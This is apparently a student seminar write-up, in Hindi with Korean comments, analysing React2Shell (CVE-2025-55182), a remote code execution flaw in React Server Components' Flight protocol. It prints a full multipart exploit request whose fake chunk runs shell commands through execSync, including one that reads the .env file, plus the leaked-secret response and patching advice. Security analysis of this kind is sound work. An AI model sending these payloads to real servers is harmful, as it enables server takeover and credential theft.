
[हमारा FISA] तकनीकी सेमिनार विजेता - क्लाउड सेवा विकास छठी बैच टीम 3 - React2Shell (CVE-2025-55182) विश्लेषण और अनुसंधान
हमारा FISA तकनीकी सेमिनार छठा बैच - टीम 3: React Server Component (RSC) के डिज़ाइन दोष का उपयोग करने वाली रिमोट कोड एक्ज़ीक्यूशन (RCE) भेद्यता, React2Shell का विश्लेषण और अनुसंधान

| सदस्य | भूमिका | GitHub |
|---|---|---|
| 남인서 | सामग्री अनुसंधान, PPT निर्माण, प्रस्तुति | @sene03 |
| 유승준 | सामग्री अनुसंधान, PPT निर्माण, प्रस्तुति | @fluanceifi |
| 이수현 | सामग्री अनुसंधान, PPT निर्माण | @hyun793 |
| 김유정 | सामग्री अनुसंधान, PPT निर्माण | @yujung23 |
React2Shell (CVE-2025-55182) React Server Component (RSC) द्वारा उपयोग किए जाने वाले Flight Protocol की संचार प्रक्रिया में खोजी गई एक गंभीर सुरक्षा भेद्यता है।
React, कंपोनेंट्स को संसाधित करने के लिए स्ट्रिंग्स और ऐरे के अलावा Promise, Blob, Map जैसे जटिल प्रकारों के साथ संगत Flight Protocol का उपयोग करता है।
| व्यंजक | प्रकार | विवरण |
|---|---|---|
$$ | Escaped $ | $ से शुरू होने वाली लिटरल स्ट्रिंग |
$@ | Promise/Chunk | Chunk ID संदर्भ |
हमलावर प्रोटोकॉल स्ट्रीम प्रोसेसिंग की इस भेद्यता का लाभ उठाकर दुर्भावनापूर्ण स्क्रिप्ट इंजेक्ट कर सकते हैं और सर्वर का नियंत्रण प्राप्त कर सकते हैं।
हमलावर Next-Action और multipart/form-data हेडर वाले अनुरोध के माध्यम से JSON डेटा को सर्वर पर भेजता है। इस समय, अनुरोध के body में Promise ऑब्जेक्ट के रूप में प्रच्छन्न एक नकली चंक (Fake Chunk) शामिल किया जाता है।
POST / HTTP/1.1
Host: localhost: 3000
[... 기타 헤더 생략 ...]
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="0"
{"then": "$1: __proto__: then", "status": "resolved_model" , "reason": -1, "value": "{\"then\": \"$B0\"}" , "_response":
f"_prefix": "var res = process mainModule.require('child_process'). execSync('실행할 명령어',
{'timeout': 5000}). toString(). trim(); throw Object.assign(new Error( 'NEXT_REDIRECT'), {digest: ${res} });" {"get":"$1: constructor: constructor"}}}
------WebkitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundary7MA4YWxkTrZu0gW--
'_formData":
// 공격자가 전송한 가짜 청크 예시
{
"then" : "$1:__proto__:then"
"status" : "resolved_model",
"reason" : -1,
"value" : "{\"then\":\"$B0\"}",
"_response" : {
"_prefix": "execSync('cat .env'); //",
"_formData":{"get": "$1:constructor:constructor"}
}
}
then में Chunk.prototype.then मैप हो जाता है।_prefix में निहित दुर्भावनापूर्ण कोड Function के तर्क के रूप में चला जाता है।thenable के रूप में कॉल होता है, हमलावर द्वारा बोया गया मनमाना कोड सर्वर पर निष्पादित हो जाता है।// POST 요청에 대한 응답 예시
500
0:{"a":"$@1","f":"","b":"sDAZnkg0U4tReIQ4vYjJS"}
1:E{"digest":**"DATABASE_URL='...'"**}
// ReactFlightReplyServer.js - getOutlinedModel()
for (let i = 1; i < path.length; i++) {
value = value[path[i]]; // 여기서 hasOwnProperty check가 누락됨!
}
$1:path:to:value प्रारूप के संदर्भ की व्याख्या करते समय कोलन (:) के आधार पर स्ट्रिंग को विभाजित करके ऑब्जेक्ट के अंदर खोज करता है।$1:__proto__:then की व्याख्या करते हुए, chunk के प्रोटोटाइप और उस ऑब्जेक्ट के then तक पहुंच संभव हो जाती है (Chunk.prototype.then)।इस भेद्यता ने आधुनिक वेब पारिस्थितिकी तंत्र में बड़ी हलचल मचा दी।
React2Shell घटना ने यह सबक छोड़ा: "फ्रंटएंड डेवलपर्स को भी सर्वर सुरक्षा समझनी चाहिए।"
react-server-dom-webpack जैसे संबंधित पैकेजों को तुरंत नवीनतम संस्करण (19.0.1+ आदि) में अपडेट करें
Next.js जैसे RSC को शामिल करने वाले फ्रेमवर्क के लिए केवल React को अपग्रेड करना समाधान नहीं है इसलिए फ्रेमवर्क के स्वयं के सुरक्षा रिलीज़ नोट्स की जांच करके नवीनतम संस्करण में अपग्रेड करना आवश्यक है
Grafana जैसी मॉनिटरिंग प्रणाली का उपयोग करें और ईमेल, स्लैक आदि जैसे अलर्ट भेज सकने वाले माध्यमों से जोड़कर, तत्काल कार्रवाई के लिए अलार्म सेट करें
जिस प्रकार प्रौद्योगिकी के विकास के साथ फ्रंटएंड का क्षेत्र विस्तारित हुआ है, उसी प्रकार सुरक्षा के प्रति ज़िम्मेदारी का दायरा भी बढ़ा है, इसे पहचानना आवश्यक है।
React2Shell: CVE-2025-55182 भेद्यता का संपूर्ण विश्लेषण गाइड